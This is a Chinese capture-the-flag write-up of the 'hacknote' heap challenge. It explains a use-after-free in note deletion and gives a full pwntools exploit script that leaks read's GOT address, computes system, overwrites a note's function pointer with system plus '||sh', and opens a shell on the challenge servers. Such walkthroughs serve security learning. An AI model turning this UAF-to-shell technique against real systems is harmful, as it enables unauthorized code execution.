天天看點

攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp

攻防世界中這道題是pwnable.tw上面的原題,雖然在攻防世界上難度為7星,不過實際上這題不算難,隻需要利用UAF就可以完成。

題目分析

題目連結:https://pan.baidu.com/s/1T-mIVLkxvyZ_7VvlBuInZQ

提取碼:azyd

checksec:

攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp

保護機制比前幾題弱了很多

main:

攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp

hacknote實作了三個功能:

1.添加(上限為5)

攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp

在建立note時,程式會先申請一個8bytes大小的空間,然後把列印的函數指針放入前4個bytes,後四個bytes放note的内容的指針。

2.删除(删除之後沒有将指針置空,明顯的UAF漏洞)

攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp

3.顯示

攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp

列印内容的函數:

攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp

因為本題使用了函數指針,這使得題目難度降低許多。我們隻需要控制函數指針,就能得到shell

漏洞利用

  1. 建立兩個大小為0x80的note,此時堆結構如下:
攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp
攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp

然後将它們delete,這樣兩個note的塊就進入了fastbin

此時fastbin為note[0]<-note[1]

  1. 建立一個大小為0x8的note,為note[2], note[2]與note[1]指向相同的位置,并且note[2]的内容指向note[0]相同的位置,構造payload=p32(my_puts) + p32(read_got),就能獲得read的位址進而計算system的位址
    攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp
  2. 把note[2]删除,建立note[3],note[3]也與note[1]指向相同的位置,并且note[3]的内容也指向note[0]相同的位置,構造payload = p32(system) + ‘||sh’
    攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp
    這裡說一下為什麼用 “||sh”:
在show函數中,參數傳入的是該note即note[3]的位址,而把該位址中的内容當做字元串就是

p32(system)||sh

當system執行

p32(system)||sh

,因為無法解析

p32(system)

,就會轉而執行

sh

,這樣我們就拿到了shell

Exp

注意:pwnable.tw使用題目給的libc可以成功,但是攻防世界和pwnable.tw用的libc不一樣,是以需要用LibcSearcher來判斷libc,應該是ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)

from pwn import *
from LibcSearcher import *

def add(size, content):
	print r.recvuntil("Your choice :")
	r.sendline('1')
	print r.recvuntil("Note size :")
	r.sendline(str(size))
	print r.recvuntil("Content :")
	r.send(content)

def delete(index):
	print r.recvuntil("Your choice :")
	r.sendline('2')
	print r.recvuntil("Index :")
	r.sendline(str(index))

def show(index):
	print r.recvuntil("Your choice :")
	r.sendline('3')
	print r.recvuntil("Index :")
	r.sendline(str(index))

r = remote("111.198.29.45", 43097)
#r = remote("chall.pwnable.tw", 10102)
#r = process('./hacknote/hacknote')
elf = ELF('./hacknote/hacknote')
libc = ELF('./hacknote/libc_32.so.6')
my_puts = 0x0804862b
read_got = elf.got['read']

add(0x80, 'a\n')
add(0x80, 'b\n')
delete(0)
delete(1)
payload = p32(my_puts) + p32(read_got)
add(8, payload)
show(0)
read_addr = u32(r.recv(4))

'''
libc_base = read_addr - libc.symbols['read']
system = libc_base + libc.symbols['system']
'''

libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system = libc_base + libc.dump("system")


print "read:", hex(read_addr)
print "system:", hex(system)

delete(2)
payload = p32(system) + '||sh'
add(0x8, payload)
show(0)

r.interactive()
           

成功得到shell

攻防世界-PWN進階區-hacknote(pwnable.tw)題目分析漏洞利用Exp

繼續閱讀